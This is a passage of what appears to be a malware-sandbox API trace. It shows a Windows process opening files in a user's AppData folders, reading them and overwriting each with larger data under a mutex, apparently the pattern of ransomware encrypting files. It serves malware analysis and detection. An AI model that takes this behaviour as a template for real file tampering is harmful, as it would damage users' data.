(in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cchWideChar=65, lpMultiByteStr=0x1e9569c, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", lpUsedDefaultChar=0x0) returned 65 [0050.151] ReadFile (in: hFile=0x170, lpBuffer=0x1d97918, nNumberOfBytesToRead=0x1cf, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d97918*, lpNumberOfBytesRead=0x2f4f2bc*=0x1cf, lpOverlapped=0x0) returned 1 [0050.151] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0050.151] WriteFile (in: hFile=0x170, lpBuffer=0x2613698*, nNumberOfBytesToWrite=0x757, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesWritten=0x2f4f2d0*=0x757, lpOverlapped=0x0) returned 1 [0050.151] CloseHandle (hObject=0x170) returned 1 [0050.152] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\a9e4f776657345b52012ce8e279d314c_183a5be0b233cc1d513955fabecf9450"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.153] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.153] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1d7 [0050.153] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.153] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.153] ReleaseMutex (hMutex=0x128) returned 1 [0050.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0050.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cchWideChar=65, lpMultiByteStr=0x1e9569c, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", lpUsedDefaultChar=0x0) returned 65 [0050.153] ReadFile (in: hFile=0x170, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1d7, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x2f4f2bc*=0x1d7, lpOverlapped=0x0) returned 1 [0050.154] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0050.154] WriteFile (in: hFile=0x170, lpBuffer=0x2613698*, nNumberOfBytesToWrite=0x75f, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesWritten=0x2f4f2d0*=0x75f, lpOverlapped=0x0) returned 1 [0050.154] CloseHandle (hObject=0x170) returned 1 [0050.154] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\d47dbd2f9e3365fbbe008d71fb06716f_d33192d58aa9ca2b9097e848e9fe86de"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.155] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.155] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x5ae [0050.155] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.155] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.155] ReleaseMutex (hMutex=0x128) returned 1 [0050.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0050.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cchWideChar=65, lpMultiByteStr=0x1e9569c, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", lpUsedDefaultChar=0x0) returned 65 [0050.155] ReadFile (in: hFile=0x170, lpBuffer=0x1dfcd08, nNumberOfBytesToRead=0x5ae, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesRead=0x2f4f2bc*=0x5ae, lpOverlapped=0x0) returned 1 [0050.253] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0050.253] WriteFile (in: hFile=0x170, lpBuffer=0x1dad638*, nNumberOfBytesToWrite=0xb36, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dad638*, lpNumberOfBytesWritten=0x2f4f2d0*=0xb36, lpOverlapped=0x0) returned 1 [0050.394] CloseHandle (hObject=0x170) returned 1 [0050.394] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\3130b1871a126520a8c47861efe3ed4d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.394] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.395] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xdc [0050.395] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.395] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.395] ReleaseMutex (hMutex=0x128) returned 1 [0050.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3130B1871A126520A8C47861EFE3ED4D", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0050.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3130B1871A126520A8C47861EFE3ED4D", cchWideChar=32, lpMultiByteStr=0x1eb2084, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3130B1871A126520A8C47861EFE3ED4D", lpUsedDefaultChar=0x0) returned 32 [0050.395] ReadFile (in: hFile=0x170, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xdc, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x2f4f2bc*=0xdc, lpOverlapped=0x0) returned 1 [0050.396] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0050.396] WriteFile (in: hFile=0x170, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x664, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x664, lpOverlapped=0x0) returned 1 [0050.396] CloseHandle (hObject=0x170) returned 1 [0050.396] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7396c420a8e1bc1da97f1af0d10bad21"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.397] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.398] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x100 [0050.398] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.398] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.398] ReleaseMutex (hMutex=0x128) returned 1 [0050.398] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7396C420A8E1BC1DA97F1AF0D10BAD21", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0050.398] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7396C420A8E1BC1DA97F1AF0D10BAD21", cchWideChar=32, lpMultiByteStr=0x1eb2084, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7396C420A8E1BC1DA97F1AF0D10BAD21", lpUsedDefaultChar=0x0) returned 32 [0050.398] ReadFile (in: hFile=0x170, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x2f4f2bc*=0x100, lpOverlapped=0x0) returned 1 [0050.399] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0050.399] WriteFile (in: hFile=0x170, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x688, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x688, lpOverlapped=0x0) returned 1 [0050.399] CloseHandle (hObject=0x170) returned 1 [0050.399] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_5ea65844b9ef5670a9c002cbd85b10a4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.400] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.400] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x182 [0050.400] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.400] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.400] ReleaseMutex (hMutex=0x128) returned 1 [0050.400] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0050.400] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cchWideChar=65, lpMultiByteStr=0x1e957a4, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", lpUsedDefaultChar=0x0) returned 65 [0050.400] ReadFile (in: hFile=0x170, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x182, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x2f4f2bc*=0x182, lpOverlapped=0x0) returned 1 [0050.401] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0050.401] WriteFile (in: hFile=0x170, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x70a, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x70a, lpOverlapped=0x0) returned 1 [0050.401] CloseHandle (hObject=0x170) returned 1 [0050.402] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\94308059b57b3142e455b38a6eb92015"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.402] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.402] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x156 [0050.402] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.402] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.402] ReleaseMutex (hMutex=0x128) returned 1 [0050.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="94308059B57B3142E455B38A6EB92015", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0050.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="94308059B57B3142E455B38A6EB92015", cchWideChar=32, lpMultiByteStr=0x1eb2084, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="94308059B57B3142E455B38A6EB92015", lpUsedDefaultChar=0x0) returned 32 [0050.402] ReadFile (in: hFile=0x170, lpBuffer=0x2635928, nNumberOfBytesToRead=0x156, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2635928*, lpNumberOfBytesRead=0x2f4f2bc*=0x156, lpOverlapped=0x0) returned 1 [0050.403] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0050.403] WriteFile (in: hFile=0x170, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6de, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x6de, lpOverlapped=0x0) returned 1 [0050.403] CloseHandle (hObject=0x170) returned 1 [0050.403] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\bc570ec0de58335afaf92fdc8e3aa330_f4d449ca9e0eaccfe15946f8fcd349fc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.404] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.405] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x204 [0050.405] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.405] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.405] ReleaseMutex (hMutex=0x128) returned 1 [0050.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0050.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cchWideChar=65, lpMultiByteStr=0x1e957a4, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", lpUsedDefaultChar=0x0) returned 65 [0050.405] ReadFile (in: hFile=0x170, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x204, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x2f4f2bc*=0x204, lpOverlapped=0x0) returned 1 [0050.406] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0050.406] WriteFile (in: hFile=0x170, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x78c, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x78c, lpOverlapped=0x0) returned 1 [0050.407] CloseHandle (hObject=0x170) returned 1 [0050.407] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.408] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.408] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x8e062 [0050.408] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.408] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.408] ReleaseMutex (hMutex=0x128) returned 1 [0050.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="au.cab", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0050.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="au.cab", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="au.cab", lpUsedDefaultChar=0x0) returned 6 [0050.408] ReadFile (in: hFile=0x170, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0050.410] ReadFile (in: hFile=0x170, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.411] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x8d062 [0050.411] ReadFile (in: hFile=0x170, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.413] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x8d062 [0050.413] WriteFile (in: hFile=0x170, lpBuffer=0x1dab608*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dab608*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.413] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0050.413] WriteFile (in: hFile=0x170, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0050.414] WriteFile (in: hFile=0x170, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0050.414] CloseHandle (hObject=0x170) returned 1 [0050.414] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8q 7s Q2gVr7Xk.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\8q 7s q2gvr7xk.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.414] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.414] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x473f [0050.414] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.414] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.414] ReleaseMutex (hMutex=0x128) returned 1 [0050.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8q 7s Q2gVr7Xk.m4a", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0050.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8q 7s Q2gVr7Xk.m4a", cchWideChar=18, lpMultiByteStr=0x1e78bcc, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8q 7s Q2gVr7Xk.m4a", lpUsedDefaultChar=0x0) returned 18 [0050.414] ReadFile (in: hFile=0x170, lpBuffer=0x276b958, 